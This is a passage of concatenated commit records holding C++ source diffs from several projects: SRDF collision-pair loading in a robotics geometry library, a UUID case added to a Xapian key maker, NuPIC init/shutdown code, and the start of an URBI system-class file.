std::invalid_argument(exception_message);\n    }\n      \n    \/\/ Open file\n    std::ifstream srdf_stream(filename);\n    if (! srdf_stream.is_open())\n    {\n      const std::string exception_message (filename + \" does not seem to be a valid file.\");\n      throw std::invalid_argument(exception_message);\n    }\n    \n    \/\/ Add all collision pairs\n    addAllCollisionPairs();\n    \n    \/\/ Read xml stream\n    using boost::property_tree::ptree;\n    ptree pt;\n    read_xml(srdf_stream, pt);\n    \n    \/\/ Iterate over collision pairs\n    const se3::Model & model = data_ref.model;\n    BOOST_FOREACH(const ptree::value_type & v, pt.get_child(\"robot\"))\n    {\n      if (v.first == \"disable_collisions\")\n      {\n        const std::string link1 = v.second.get<std::string>(\"<xmlattr>.link1\");\n        const std::string link2 = v.second.get<std::string>(\"<xmlattr>.link2\");\n        \n        \/\/ Check first if the two bodies exist in model\n        if (!model.existBodyName(link1) || !model.existBodyName(link2))\n        {\n          if (verbose)\n            std::cout << \"It seems that \" << link1 << \" or \" << link2 << \" do not exist in model. Skip.\" << std::endl;\n          continue;\n        }\n        \n        const Model::JointIndex id1 = model.getBodyId(link1);\n        const Model::JointIndex id2 = model.getBodyId(link2);\n        \n        typedef GeometryModel::GeomIndexList GeomIndexList;\n        const GeomIndexList & innerObject1 = model_geom.innerObjects.at(id1);\n        const GeomIndexList & innerObject2 = model_geom.innerObjects.at(id2);\n        \n        for(GeomIndexList::const_iterator it1 = innerObject1.begin();\n            it1 != innerObject1.end();\n            ++it1)\n        {\n          for(GeomIndexList::const_iterator it2 = innerObject2.begin();\n              it2 != innerObject2.end();\n              ++it2)\n          {\n            removeCollisionPair(CollisionPair(*it1, *it2));\n          }\n        }\n        \n      } \/\/ BOOST_FOREACH\n    }\n  }\n\n\n} \/\/ namespace se3\n\n\/\/\/ @endcond\n\n#endif \/\/ ifndef __se3_geometry_hxx__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015,2016 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"keymaker.h\"\n\n#include \"..\/stl_serialise.h\"\n\n\nconst dispatch_str_metric def_str_metric     = &Multi_MultiValueKeyMaker::jaro;\nconst dispatch_str_metric def_soundex_metric = &Multi_MultiValueKeyMaker::soundex_en;\n\n\nconst std::unordered_map<std::string, dispatch_str_metric> map_dispatch_soundex_metric({\n\t{ \"english\",  &Multi_MultiValueKeyMaker::soundex_en     },\n\t{ \"en\",       &Multi_MultiValueKeyMaker::soundex_en     },\n\t{ \"french\",   &Multi_MultiValueKeyMaker::soundex_fr     },\n\t{ \"fr\",       &Multi_MultiValueKeyMaker::soundex_fr     },\n\t{ \"german\",   &Multi_MultiValueKeyMaker::soundex_de     },\n\t{ \"de\",       &Multi_MultiValueKeyMaker::soundex_de     },\n\t{ \"spanish\",  &Multi_MultiValueKeyMaker::soundex_es     },\n\t{ \"es\",       &Multi_MultiValueKeyMaker::soundex_es     }\n});\n\n\nconst std::unordered_map<std::string, dispatch_str_metric> map_dispatch_str_metric({\n\t{ \"levenshtein\",   &Multi_MultiValueKeyMaker::levenshtein     },\n\t{ \"leven\",         &Multi_MultiValueKeyMaker::levenshtein     },\n\t{ \"jaro\",          &Multi_MultiValueKeyMaker::jaro            },\n\t{ \"jarowinkler\",   &Multi_MultiValueKeyMaker::jaro_winkler    },\n\t{ \"jarow\",         &Multi_MultiValueKeyMaker::jaro_winkler    },\n\t{ \"sorensendice\",  &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"sorensen\",      &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"dice\",          &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"jaccard\",       &Multi_MultiValueKeyMaker::jaccard         },\n\t{ \"lcsubstr\",      &Multi_MultiValueKeyMaker::lcs             },\n\t{ \"lcs\",           &Multi_MultiValueKeyMaker::lcs             },\n\t{ \"lcsubsequence\", &Multi_MultiValueKeyMaker::lcsq            },\n\t{ \"lcsq\",          &Multi_MultiValueKeyMaker::lcsq            },\n\t{ \"soundex\",       &Multi_MultiValueKeyMaker::soundex         },\n\t{ \"sound\",         &Multi_MultiValueKeyMaker::soundex         }\n});\n\n\nstd::string\nBaseKey::findSmallest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return MAX_CMPVALUE;\n\tStringList s;\n\ts.unserialise(multiValues);\n\n\tStringList::const_iterator it(s.begin());\n\tstd::string smallest(get_cmpvalue(*it));\n\tconst auto it_e = s.end();\n\tfor (++it; it != it_e; ++it) {\n\t\tauto aux = get_cmpvalue(*it);\n\t\tif (smallest > aux) smallest = aux;\n\t}\n\n\treturn smallest;\n}\n\n\nstd::string\nBaseKey::findLargest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return MAX_CMPVALUE;\n\tStringList s;\n\ts.unserialise(multiValues);\n\n\tStringList::const_iterator it(s.begin());\n\tstd::string largest(get_cmpvalue(*it));\n\tconst auto it_e = s.end();\n\tfor (++it; it != it_e; ++it) {\n\t\tstd::string aux(get_cmpvalue(*it));\n\t\tif (aux > largest) largest = aux;\n\t}\n\n\treturn largest;\n}\n\n\nstd::string\nSerialiseKey::findSmallest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return STR_FOR_EMPTY;\n\tStringList s;\n\ts.unserialise(multiValues);\n\treturn *s.cbegin();\n}\n\n\nstd::string\nSerialiseKey::findLargest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return STR_FOR_EMPTY;\n\tStringList s;\n\ts.unserialise(multiValues);\n\treturn *s.crbegin();\n}\n\n\nstd::string\nGeoKey::get_cmpvalue(const std::string& serialise_val) const\n{\n\tauto geo_val = Unserialise::geo(serialise_val);\n\tCartesianUSet centroids;\n\tcentroids.unserialise(geo_val.second);\n\tdouble angle = M_PI;\n\tfor (const auto& _centroid : _centroids) {\n\t\tdouble aux = M_PI;\n\t\tfor (const auto& centroid : centroids) {\n\t\t\tdouble rad_angle = std::acos(_centroid * centroid);\n\t\t\tif (rad_angle < aux) aux = rad_angle;\n\t\t}\n\t\tif (aux < angle) angle = aux;\n\t}\n\treturn Serialise::_float(angle);\n}\n\n\nvoid\nMulti_MultiValueKeyMaker::add_value(const required_spc_t& field_spc, bool reverse, const std::string& value, const query_field_t& qf)\n{\n\tif (value.empty()) {\n\t\tif (field_spc.get_type() != FieldType::GEO) {\n\t\t\tslots.push_back(std::make_unique<SerialiseKey>(field_spc.slot, reverse));\n\t\t}\n\t} else {\n\t\tswitch (field_spc.get_type()) {\n\t\t\tcase FieldType::FLOAT:\n\t\t\t\tslots.push_back(std::make_unique<FloatKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::INTEGER:\n\t\t\t\tslots.push_back(std::make_unique<IntegerKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::POSITIVE:\n\t\t\t\tslots.push_back(std::make_unique<PositiveKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::DATE:\n\t\t\t\tslots.push_back(std::make_unique<DateKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::BOOLEAN:\n\t\t\t\tslots.push_back(std::make_unique<BoolKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::STRING:\n\t\t\tcase FieldType::TEXT:\n\t\t\t\ttry {\n\t\t\t\t\tauto func = map_dispatch_str_metric.at(qf.metric);\n\t\t\t\t\t(this->*func)(field_spc, reverse, value, qf);\n\t\t\t\t} catch (const std::out_of_range&) {\n\t\t\t\t\t(this->*def_str_metric)(field_spc, reverse, value, qf);\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\tcase FieldType::GEO:\n\t\t\t\tslots.push_back(std::make_unique<GeoKey>(field_spc, reverse, value));\n\t\t\t\treturn;\n\t\t\tdefault:\n\t\t\t\tthrow MSG_InvalidArgumentError(\"Type '%c' is not supported\", field_spc.get_type());\n\t\t}\n\t}\n}\n\n\nstd::string\nMulti_MultiValueKeyMaker::operator()(const Xapian::Document& doc) const\n{\n\tstd::string result;\n\n\t\/\/ Don't crash if slots is empty.\n\tif (slots.empty()) {\n\t\treturn result;\n\t}\n\n\tauto i = slots.begin();\n\twhile (true) {\n\t\t\/\/ All values (except for the last if it's sorted forwards) need to\n\t\t\/\/ be adjusted.\n\t\tauto reverse_sort = (*i)->get_reverse();\n\t\t\/\/ Select The most representative value to create the key.\n\t\tauto v = reverse_sort ? (*i)->findLargest(doc) : (*i)->findSmallest(doc);\n\t\t\/\/ RULE: v is never empty, because if there is not value in the slot v is MAX_CMPVALUE or STR_FOR_EMPTY.\n\n\t\tif (++i == slots.end() && !reverse_sort) {\n\t\t\t\/\/ No need to adjust the last value if it's sorted forwards.\n\t\t\tresult += v;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (reverse_sort) {\n\t\t\t\/\/ For a reverse ordered value, we subtract each byte from '\\xff',\n\t\t\t\/\/ except for '\\0' which we convert to \"\\xff\\0\".  We insert\n\t\t\t\/\/ \"\\xff\\xff\" after the encoded value.\n\t\t\tfor (const auto& ch_ : v) {\n\t\t\t\tunsigned char ch = static_cast<unsigned char>(ch_);\n\t\t\t\tresult += char(255 - ch);\n\t\t\t\tif (ch == 0) result += '\\0';\n\t\t\t}\n\t\t\tresult.append(\"\\xff\\xff\", 2);\n\t\t\tif (i == slots.end()) break;\n\t\t} else {\n\t\t\t\/\/ For a forward ordered value (unless it's the last value), we\n\t\t\t\/\/ convert any '\\0' to \"\\0\\xff\".  We insert \"\\0\\0\" after the\n\t\t\t\/\/ encoded value.\n\t\t\tstd::string::size_type j = 0, nul;\n\t\t\twhile ((nul = v.find('\\0', j)) != std::string::npos) {\n\t\t\t\t++nul;\n\t\t\t\tresult.append(v, j, nul - j);\n\t\t\t\tresult += '\\xff';\n\t\t\t\tj = nul;\n\t\t\t}\n\t\t\tresult.append(v, j, std::string::npos);\n\t\t\tresult.append(\"\\0\", 2);\n\t\t}\n\t}\n\n\treturn result;\n}\n<commit_msg>Add UUID type in \/src\/multivalue\/keymaker.cc<commit_after>\/*\n * Copyright (C) 2015,2016 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"keymaker.h\"\n\n#include \"..\/stl_serialise.h\"\n\n\nconst dispatch_str_metric def_str_metric     = &Multi_MultiValueKeyMaker::jaro;\nconst dispatch_str_metric def_soundex_metric = &Multi_MultiValueKeyMaker::soundex_en;\n\n\nconst std::unordered_map<std::string, dispatch_str_metric> map_dispatch_soundex_metric({\n\t{ \"english\",  &Multi_MultiValueKeyMaker::soundex_en     },\n\t{ \"en\",       &Multi_MultiValueKeyMaker::soundex_en     },\n\t{ \"french\",   &Multi_MultiValueKeyMaker::soundex_fr     },\n\t{ \"fr\",       &Multi_MultiValueKeyMaker::soundex_fr     },\n\t{ \"german\",   &Multi_MultiValueKeyMaker::soundex_de     },\n\t{ \"de\",       &Multi_MultiValueKeyMaker::soundex_de     },\n\t{ \"spanish\",  &Multi_MultiValueKeyMaker::soundex_es     },\n\t{ \"es\",       &Multi_MultiValueKeyMaker::soundex_es     }\n});\n\n\nconst std::unordered_map<std::string, dispatch_str_metric> map_dispatch_str_metric({\n\t{ \"levenshtein\",   &Multi_MultiValueKeyMaker::levenshtein     },\n\t{ \"leven\",         &Multi_MultiValueKeyMaker::levenshtein     },\n\t{ \"jaro\",          &Multi_MultiValueKeyMaker::jaro            },\n\t{ \"jarowinkler\",   &Multi_MultiValueKeyMaker::jaro_winkler    },\n\t{ \"jarow\",         &Multi_MultiValueKeyMaker::jaro_winkler    },\n\t{ \"sorensendice\",  &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"sorensen\",      &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"dice\",          &Multi_MultiValueKeyMaker::sorensen_dice   },\n\t{ \"jaccard\",       &Multi_MultiValueKeyMaker::jaccard         },\n\t{ \"lcsubstr\",      &Multi_MultiValueKeyMaker::lcs             },\n\t{ \"lcs\",           &Multi_MultiValueKeyMaker::lcs             },\n\t{ \"lcsubsequence\", &Multi_MultiValueKeyMaker::lcsq            },\n\t{ \"lcsq\",          &Multi_MultiValueKeyMaker::lcsq            },\n\t{ \"soundex\",       &Multi_MultiValueKeyMaker::soundex         },\n\t{ \"sound\",         &Multi_MultiValueKeyMaker::soundex         }\n});\n\n\nstd::string\nBaseKey::findSmallest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return MAX_CMPVALUE;\n\tStringList s;\n\ts.unserialise(multiValues);\n\n\tStringList::const_iterator it(s.begin());\n\tstd::string smallest(get_cmpvalue(*it));\n\tconst auto it_e = s.end();\n\tfor (++it; it != it_e; ++it) {\n\t\tauto aux = get_cmpvalue(*it);\n\t\tif (smallest > aux) smallest = aux;\n\t}\n\n\treturn smallest;\n}\n\n\nstd::string\nBaseKey::findLargest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return MAX_CMPVALUE;\n\tStringList s;\n\ts.unserialise(multiValues);\n\n\tStringList::const_iterator it(s.begin());\n\tstd::string largest(get_cmpvalue(*it));\n\tconst auto it_e = s.end();\n\tfor (++it; it != it_e; ++it) {\n\t\tstd::string aux(get_cmpvalue(*it));\n\t\tif (aux > largest) largest = aux;\n\t}\n\n\treturn largest;\n}\n\n\nstd::string\nSerialiseKey::findSmallest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return STR_FOR_EMPTY;\n\tStringList s;\n\ts.unserialise(multiValues);\n\treturn *s.cbegin();\n}\n\n\nstd::string\nSerialiseKey::findLargest(const Xapian::Document& doc) const\n{\n\tauto multiValues = doc.get_value(_slot);\n\tif (multiValues.empty()) return STR_FOR_EMPTY;\n\tStringList s;\n\ts.unserialise(multiValues);\n\treturn *s.crbegin();\n}\n\n\nstd::string\nGeoKey::get_cmpvalue(const std::string& serialise_val) const\n{\n\tauto geo_val = Unserialise::geo(serialise_val);\n\tCartesianUSet centroids;\n\tcentroids.unserialise(geo_val.second);\n\tdouble angle = M_PI;\n\tfor (const auto& _centroid : _centroids) {\n\t\tdouble aux = M_PI;\n\t\tfor (const auto& centroid : centroids) {\n\t\t\tdouble rad_angle = std::acos(_centroid * centroid);\n\t\t\tif (rad_angle < aux) aux = rad_angle;\n\t\t}\n\t\tif (aux < angle) angle = aux;\n\t}\n\treturn Serialise::_float(angle);\n}\n\n\nvoid\nMulti_MultiValueKeyMaker::add_value(const required_spc_t& field_spc, bool reverse, const std::string& value, const query_field_t& qf)\n{\n\tif (value.empty()) {\n\t\tif (field_spc.get_type() != FieldType::GEO) {\n\t\t\tslots.push_back(std::make_unique<SerialiseKey>(field_spc.slot, reverse));\n\t\t}\n\t} else {\n\t\tswitch (field_spc.get_type()) {\n\t\t\tcase FieldType::FLOAT:\n\t\t\t\tslots.push_back(std::make_unique<FloatKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::INTEGER:\n\t\t\t\tslots.push_back(std::make_unique<IntegerKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::POSITIVE:\n\t\t\t\tslots.push_back(std::make_unique<PositiveKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::DATE:\n\t\t\t\tslots.push_back(std::make_unique<DateKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::BOOLEAN:\n\t\t\t\tslots.push_back(std::make_unique<BoolKey>(field_spc.slot, reverse, value));\n\t\t\t\treturn;\n\t\t\tcase FieldType::UUID:\n\t\t\tcase FieldType::STRING:\n\t\t\tcase FieldType::TEXT:\n\t\t\t\ttry {\n\t\t\t\t\tauto func = map_dispatch_str_metric.at(qf.metric);\n\t\t\t\t\t(this->*func)(field_spc, reverse, value, qf);\n\t\t\t\t} catch (const std::out_of_range&) {\n\t\t\t\t\t(this->*def_str_metric)(field_spc, reverse, value, qf);\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\tcase FieldType::GEO:\n\t\t\t\tslots.push_back(std::make_unique<GeoKey>(field_spc, reverse, value));\n\t\t\t\treturn;\n\t\t\tdefault:\n\t\t\t\tthrow MSG_InvalidArgumentError(\"Type '%c' is not supported\", field_spc.get_type());\n\t\t}\n\t}\n}\n\n\nstd::string\nMulti_MultiValueKeyMaker::operator()(const Xapian::Document& doc) const\n{\n\tstd::string result;\n\n\t\/\/ Don't crash if slots is empty.\n\tif (slots.empty()) {\n\t\treturn result;\n\t}\n\n\tauto i = slots.begin();\n\twhile (true) {\n\t\t\/\/ All values (except for the last if it's sorted forwards) need to\n\t\t\/\/ be adjusted.\n\t\tauto reverse_sort = (*i)->get_reverse();\n\t\t\/\/ Select The most representative value to create the key.\n\t\tauto v = reverse_sort ? (*i)->findLargest(doc) : (*i)->findSmallest(doc);\n\t\t\/\/ RULE: v is never empty, because if there is not value in the slot v is MAX_CMPVALUE or STR_FOR_EMPTY.\n\n\t\tif (++i == slots.end() && !reverse_sort) {\n\t\t\t\/\/ No need to adjust the last value if it's sorted forwards.\n\t\t\tresult += v;\n\t\t\tbreak;\n\t\t}\n\n\t\tif (reverse_sort) {\n\t\t\t\/\/ For a reverse ordered value, we subtract each byte from '\\xff',\n\t\t\t\/\/ except for '\\0' which we convert to \"\\xff\\0\".  We insert\n\t\t\t\/\/ \"\\xff\\xff\" after the encoded value.\n\t\t\tfor (const auto& ch_ : v) {\n\t\t\t\tunsigned char ch = static_cast<unsigned char>(ch_);\n\t\t\t\tresult += char(255 - ch);\n\t\t\t\tif (ch == 0) result += '\\0';\n\t\t\t}\n\t\t\tresult.append(\"\\xff\\xff\", 2);\n\t\t\tif (i == slots.end()) break;\n\t\t} else {\n\t\t\t\/\/ For a forward ordered value (unless it's the last value), we\n\t\t\t\/\/ convert any '\\0' to \"\\0\\xff\".  We insert \"\\0\\0\" after the\n\t\t\t\/\/ encoded value.\n\t\t\tstd::string::size_type j = 0, nul;\n\t\t\twhile ((nul = v.find('\\0', j)) != std::string::npos) {\n\t\t\t\t++nul;\n\t\t\t\tresult.append(v, j, nul - j);\n\t\t\t\tresult += '\\xff';\n\t\t\t\tj = nul;\n\t\t\t}\n\t\t\tresult.append(v, j, std::string::npos);\n\t\t\tresult.append(\"\\0\", 2);\n\t\t}\n\t}\n\n\treturn result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc.  Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Affero Public License for more details.\n *\n * You should have received a copy of the GNU Affero Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ---------------------------------------------------------------------\n *\/\n\n\/* @file Implementation of NuPIC init\/shutdown operations *\/\n\n\/\/ TODO -- thread safety\n\/\/ TODO -- add license check\n\n#include <nupic\/engine\/NuPIC.hpp>\n#include <nupic\/engine\/RegionImplFactory.hpp>\n#include <nupic\/utils\/Log.hpp>\n#include <apr-1\/apr_general.h>\n\nnamespace nupic\n{\n\nstd::set<Network*> NuPIC::networks_;\nbool NuPIC::initialized_ = false;\n\nvoid NuPIC::init()\n{\n  if (isInitialized())\n    return;\n\n  \/\/ internal consistency check. Nonzero should be impossible.\n  NTA_CHECK(networks_.size() == 0) << \"Internal error in NuPIC::init()\";\n\n  \/\/ Initialize APR as a library client\n  \/\/ TODO: move to OS::initialize()?\n  int result = apr_initialize();\n  if (result)\n    NTA_THROW << \"Error initializing APR (code \" << result << \")\";\n\n  \/\/ TODO: license checking will be done in NuPIC::init()\n\n  initialized_ = true;\n}\n\n\nvoid NuPIC::shutdown()\n{\n  if (!isInitialized())\n  {\n    NTA_THROW << \"NuPIC::shutdown -- NuPIC has not been initialized\";\n  }\n\n  if (!networks_.empty())\n  {\n    NTA_THROW << \"NuPIC::shutdown -- cannot shut down NuPIC because \"\n              << networks_.size() << \" networks still exist.\";\n  }\n\n  RegionImplFactory::getInstance().cleanup();\n  initialized_ = false;\n}\n\n\nvoid NuPIC::registerNetwork(Network* net)\n{\n  if (!isInitialized())\n  {\n    NTA_THROW << \"Attempt to create a network before NuPIC has been initialized -- call NuPIC::init() before creating any networks\";\n  }\n\n  auto n = networks_.find(net);\n  \/\/ This should not be possible\n  NTA_CHECK(n == networks_.end()) << \"Internal error -- double registration of network\";\n  networks_.insert(net);\n\n}\n\nvoid NuPIC::unregisterNetwork(Network* net)\n{\n  auto n = networks_.find(net);\n  NTA_CHECK(n != networks_.end()) << \"Internal error -- network not registered\";\n  networks_.erase(n);\n}\n\nbool NuPIC::isInitialized()\n{\n  return initialized_;\n}\n\n}\n\n<commit_msg>Fixes #1234<commit_after>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc.  Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU Affero Public License for more details.\n *\n * You should have received a copy of the GNU Affero Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ---------------------------------------------------------------------\n *\/\n\n\/* @file Implementation of NuPIC init\/shutdown operations *\/\n\n\/\/ TODO -- thread safety\n\n#include <nupic\/engine\/NuPIC.hpp>\n#include <nupic\/engine\/RegionImplFactory.hpp>\n#include <nupic\/utils\/Log.hpp>\n#include <apr-1\/apr_general.h>\n\nnamespace nupic\n{\n\nstd::set<Network*> NuPIC::networks_;\nbool NuPIC::initialized_ = false;\n\nvoid NuPIC::init()\n{\n  if (isInitialized())\n    return;\n\n  \/\/ internal consistency check. Nonzero should be impossible.\n  NTA_CHECK(networks_.size() == 0) << \"Internal error in NuPIC::init()\";\n\n  \/\/ Initialize APR as a library client\n  \/\/ TODO: move to OS::initialize()?\n  int result = apr_initialize();\n  if (result)\n    NTA_THROW << \"Error initializing APR (code \" << result << \")\";\n\n  initialized_ = true;\n}\n\n\nvoid NuPIC::shutdown()\n{\n  if (!isInitialized())\n  {\n    NTA_THROW << \"NuPIC::shutdown -- NuPIC has not been initialized\";\n  }\n\n  if (!networks_.empty())\n  {\n    NTA_THROW << \"NuPIC::shutdown -- cannot shut down NuPIC because \"\n              << networks_.size() << \" networks still exist.\";\n  }\n\n  RegionImplFactory::getInstance().cleanup();\n  initialized_ = false;\n}\n\n\nvoid NuPIC::registerNetwork(Network* net)\n{\n  if (!isInitialized())\n  {\n    NTA_THROW << \"Attempt to create a network before NuPIC has been initialized -- call NuPIC::init() before creating any networks\";\n  }\n\n  auto n = networks_.find(net);\n  \/\/ This should not be possible\n  NTA_CHECK(n == networks_.end()) << \"Internal error -- double registration of network\";\n  networks_.insert(net);\n\n}\n\nvoid NuPIC::unregisterNetwork(Network* net)\n{\n  auto n = networks_.find(net);\n  NTA_CHECK(n != networks_.end()) << \"Internal error -- network not registered\";\n  networks_.erase(n);\n}\n\nbool NuPIC::isInitialized()\n{\n  return initialized_;\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n ** \\file object\/system-class.cc\n ** \\brief Creation of the URBI object system.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n#include <libport\/compiler.hh>\n\n#include <memory>\n#include <sstream>\n\n#include <binder\/bind.hh>\n\n#include <kernel\/userver.hh>\n#include <kernel\/uconnection.hh>\n\n#include <object\/alien.hh>\n#include <object\/system-class.hh>\n#include <object\/task-class.hh>\n\n#include <parser\/parse.hh>\n#include <parser\/parse-result.hh>\n\n#include <runner\/at-handler.hh>\n#include <runner\/runner.hh>\n#include <runner\/interpreter.hh>\n\n#include <ast\/nary.hh>\n\nnamespace object\n{\n  rObject system_class;\n\n  \/*--------------------.\n  | System primitives.  |\n  `--------------------*\/\n\n\n#define SERVER_FUNCTION(Function)\t\t\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    CHECK_ARG_COUNT (1);\t\t\t\t\t\t\\\n    ::urbiserver->Function();\t\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_FUNCTION(reboot)\n  SERVER_FUNCTION(shutdown)\n\n#undef SERVER_FUNCTION\n\n\n  static rObject\n  system_class_sleep (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, Float);\n    libport::utime_t deadline;\n    if (arg1->value_get() == std::numeric_limits<ufloat>::infinity())\n      deadline = std::numeric_limits<libport::utime_t>::max();\n    else\n      deadline = r.scheduler_get().get_time() +\n\tstatic_cast<libport::utime_t>(arg1->value_get() * 1000.0);\n    r.yield_until (deadline);\n    return void_class;\n  }\n\n  static rObject\n  system_class_time (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh(r.scheduler_get().get_time() \/ 1000.0);\n  }\n\n  static rObject\n  system_class_shiftedTime (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh ((r.scheduler_get().get_time() -\n\t\t\t  r.time_shift_get()) \/ 1000.0);\n  }\n\n  static rObject\n  execute_parsed (runner::Runner& r,\n                  parser::parse_result_type p, UrbiException e)\n  {\n    ast::rNary errs = new ast::Nary();\n    p->process_errors(*errs);\n    dynamic_cast<runner::Interpreter&>(r)(errs);\n    if (ast::rNary ast = p->ast_take())\n    {\n      ast = binder::bind(ast).unsafe_cast<ast::Nary>();\n      assert(ast);\n      return dynamic_cast<runner::Interpreter&>(r).eval(ast);\n    }\n    else\n      throw e;\n  }\n\n  static rObject\n  system_class_assert_(runner::Runner&, objects_type args)\n  {\n    CHECK_ARG_COUNT(3);\n    FETCH_ARG(2, String);\n    if (!is_true(args[1]))\n      throw PrimitiveError\n\t(\"assert_\",\n\t \"assertion `\" + arg2->value_get().name_get() + \"' failed\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_eval (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(2);\n    FETCH_ARG(1, String);\n    parser::parse_result_type p();\n    return\n      execute_parsed(r,\n                     parser::parse(arg1->value_get()),\n                     PrimitiveError(\"\",\n                                    std::string(\"Error executing command.\")));\n  }\n\n  static rObject\n  system_class_registerAtJob (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(4);\n    runner::register_at_job(dynamic_cast<runner::Interpreter&>(r),\n\t\t\t    args[1], args[2], args[3]);\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_searchFile (runner::Runner& r, objects_type 